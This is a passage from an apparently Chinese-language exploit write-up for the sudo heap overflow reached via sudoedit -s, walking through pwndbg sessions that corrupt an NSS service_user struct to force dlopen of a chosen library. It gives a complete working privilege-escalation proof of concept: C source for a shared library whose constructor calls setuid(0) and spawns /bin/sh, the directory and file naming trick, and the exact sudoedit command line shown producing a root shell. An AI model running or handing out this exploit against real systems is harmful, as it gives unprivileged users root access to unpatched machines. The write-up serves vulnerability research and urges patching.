0x30)                                                           $2 = {  next = 0x557da7cd6900,  actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},  library = 0x0,  known = 0x0,  name = 0x557da7cd68f0 "files"}pwndbg> hexdump 0x557da7cd68e0                                                                               +0000 0x557da7cd68e0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │....│....│....│....│+0010 0x557da7cd68f0  66 69 6c 65  73 00 00 00  41 00 00 00  00 00 00 00  │file│s...│A...│....│+0020 0x557da7cd6900  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │....│....│....│....│+0030 0x557da7cd6910  00 00 00 00  01 00 00 00  01 00 00 00  00 00 00 00  │....│....│....│....│pwndbg> b sudoers.c:1014                                                           Breakpoint 3 at 0x7fa8a7fcf19d: sudoers.c:1014. (2 locations)pwndbg> c...pwndbg> hexdump 0x557da7cd68e0+0000 0x557da7cd68e0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 31  │....│....│....│...1│+0010 0x557da7cd68f0  3d 2f 78 78  78 78 20 00  00 00 00 00  00 00 00 00  │=xxx│xx..│....│....│+0020 0x557da7cd6900  00 00 00 00  00 00 00 00  31 3d 2f 78  78 78 78 20  │....│....│1=xx│xxx.│+0030 0x557da7cd6910  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │....│....│....│....│pwndbg> p *(service_user *)(0x557da7cd68f0 - 0x30)$3 = {  next = 0x2078,  actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, (unknown: 792539392), (unknown: 2021161080)},  library = 0x0,  known = 0x3100000000000000,  name = 0x557da7cd68f0 "=xxxxx "}pwndbg> cContinuing.Program received signal SIGSEGV, Segmentation fault.__GI___tsearch (key=key@entry=0x7ffd5fbe59f8, vrootp=vrootp@entry=0x557da7cd68e8, compar=compar@entry=0x7f60ade5c090 <known_compare>) at tsearch.c:309───[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────────00:0000│ rsp  0x7ffd5fbe5990 —▸ 0x7f60adecd36a ◂— 0x622520612500020001:0008│      0x7ffd5fbe5998 —▸ 0x7f60ade5c090 (known_compare) ◂— endbr64 02:0010│      0x7ffd5fbe59a0 ◂— 0x003:0018│      0x7ffd5fbe59a8 —▸ 0x7f60ade5c8ec (__nss_database_lookup2+204) ◂— test   eax, eax04:0020│      0x7ffd5fbe59b0 —▸ 0x557da7cdb308 ◂— 0x72007800746f6f72 /* 'root' */05:0028│      0x7ffd5fbe59b8 —▸ 0x557da7cd68c0 ◂— 0x2078 /* 'x ' */06:0030│      0x7ffd5fbe59c0 —▸ 0x7ffd5fbe5a40 ◂— 0x007:0038│      0x7ffd5fbe59c8 —▸ 0x7ffd5fbe5ac8 ◂— 0x10001───[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────── ► f 0     7f60ade32d46 tsearch+54   f 1     7f60ade5ce51 __nss_lookup_function+97   f 2     7f60addf813f internal_getgrouplist+175   f 3     7f60addf83ed getgrouplist+109   f 4     7f60adf356b6 sudo_getgrouplist2_v1+198   f 5     7f60ad448433 sudo_make_gidlist_item+451   f 6     7f60ad4471de sudo_get_gidlist+286   f 7     7f60ad44051d runas_getgroups+93   f 8     7f60ad42f5e2 set_perms+1186   f 9     7f60ad42f5e2 set_perms+1186   f 10     7f60ad428c40 sudoers_lookup+112pwndbg> f 1#1  0x00007f60ade5ce51 in __GI___nss_lookup_function (ni=ni@entry=0x557da7cd68c0, fct_name=<optimized out>, fct_name@entry=0x7f60adece9d7 "initgroups_dyn") at nsswitch.c:428428     nsswitch.c: No such file or directory.pwndbg> p ni$4 = (service_user *) 0x557da7cd68c0pwndbg> p *ni$5 = {  next = 0x2078,  actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, (unknown: 792539392), (unknown: 2021161080)},  library = 0x0,  known = 0x3100000000000000,  name = 0x557da7cd68f0 "=xxxxx "}

根据之前的方案分析,library修改为NULL,name修改成任意值应该,程序能运行到dlopen才对,不过事实证明不是这样的,于是我根据crash信息和源码,我发现不单要修改library为NULL,而且know也要修改为NULL,否则在执行tsearch会crash,根本运行不到nss_load_library的dlopen。接下来我们重新调整参数,修改library、know为NULL,name修改为任意字符串。

pwndbg> b set_cmnd Breakpoint 1 at 0x7fdc9f272fd0: file ./sudoers.c, line 922.pwndbg> b nss_load_library                                                                                   Note: breakpoint 2 also set at pc 0x7f2c3b3194c0.Breakpoint 2 at 0x7f2c3b3194c0: file nsswitch.c, line 329.pwndbg> r -s 'xxxxxxx' 'x' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\'...pwndbg> p *(service_user *)0x55baa82948c0$1 = {  next = 0x207878,  actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, (unknown: 1026621440), (unknown: 2021161080)},  library = 0x0,  known = 0x0,  name = 0x55baa82948f0 "1=xxxxx "}pwndbg> cContinuing.Breakpoint 2, nss_load_library (ni=ni@entry=0x55baa82948c0) at nsswitch.c:329pwndbg> p *ni$1 = {  next = 0x207878,  actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, (unknown: 1026621440), (unknown: 2021161080)},  library = 0x0,  known = 0x55baa829eee0,  name = 0x55baa82948f0 "1=xxxxx "}pwndbg> ni...pwndbg> 0x00007f2c3b319627      359     in nsswitch.c───[ DISASM ]───────────────────────────────────────────────────────────────────────────────────────────────   0x7f2c3b319611 <nss_load_library+337>    mov    esi, 0x80000002   0x7f2c3b319616 <nss_load_library+342>    mov    rdi, rsp   0x7f2c3b319619 <nss_load_library+345>    mov    dword ptr [rax], 0x6f732e   0x7f2c3b31961f <nss_load_library+351>    mov    byte ptr [rax + 5], 0   0x7f2c3b319623 <nss_load_library+355>    mov    word ptr [rax + 3], cx ► 0x7f2c3b319627 <nss_load_library+359>    call   __libc_dlopen_mode <__libc_dlopen_mode>        rdi: 0x7fff12ac9fa0 ◂— 'libnss_1=xxxxx .so.2'        rsi: 0x80000002        rdx: 0x8        rcx: 0x322e   0x7f2c3b31962c <nss_load_library+364>    mov    r10, qword ptr [rbp - 0x48]   0x7f2c3b319630 <nss_load_library+368>    mov    qword ptr [rbx + 8], rax   0x7f2c3b319634 <nss_load_library+372>    mov    rbx, qword ptr [r12 + 0x20]   0x7f2c3b319639 <nss_load_library+377>    cmp    qword ptr [rbx + 8], 0   0x7f2c3b31963e <nss_load_library+382>    je     nss_load_library+507 <nss_load_library+507>

我们修正好了参数,再次运行,发现已经可以同时修改library和known为NULL,这时我们继续调试程序,证明已经可以执行到nss_load_library的断点 了,再查看ni是符合预期的,我们继续调试跟踪成到__libc_dlopen_mode之前,发先rdi第一参数是’libnss_1=xxxxx .so.2’。到这里我们已经可以sudo程序打开一个任意字符名的so了。

​ 修改环境变量1的值为/xxxx,这样dlopen就会尝试打开一个 ‘libnss_1=/xxxx\ .so.2’的动态库。我实现了一个简单的shellcode测试一下这个POC。

-> % iduid=1002(test) gid=1002(test) groups=1002(test)-> % mkdir -p libnss_1\=/-> % cat << EOF | gcc -fPIC -shared -o libnss_1=/xxxx\ .so.2 -xc -#include <unistd.h>void __attribute__((constructor)) init() {    !setuid(0) && !setgid(0) && execl("/bin/sh", "sh", (char *) 0);}EOF-> % tree.└── libnss_1=    └── xxxx .so.21 directory, 1 file-> % env -i 1=/xxxx LC_IDENTIFICATION=en_US.UTF-8@xxxxxxxxxxxxx /tmp/sudo/bin/sudoedit -s 'xxxxxxx' 'x' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\'sh-5.0# iduid=0(root) gid=0(root) groups=0(root),1002(test)

到此,这个POC已经实现了提权,接下来我会写一下自己的心得:

理解内存管理的原理和对抗策略(内存分配算法、缓存算法一直都在升级,到目前为止还有很多可以利用的“姿势”,以后我可能会整理一份相关的笔记)alsr只是随机化了内存基地址,在执行环境不变的情况下,反复执行同一个程序,各个内存变量之间的偏移是不变的。要有依据的利用蛮力测试方法构造有效参数。(这个也是目前fuzzing测试的优化点)

总结

这个漏洞不是一个RCE漏洞,直接危害程度应该不会很大,间接危程度还是很高的,建议大家还是尽早修补了吧。

引用

标签: #sg0060win10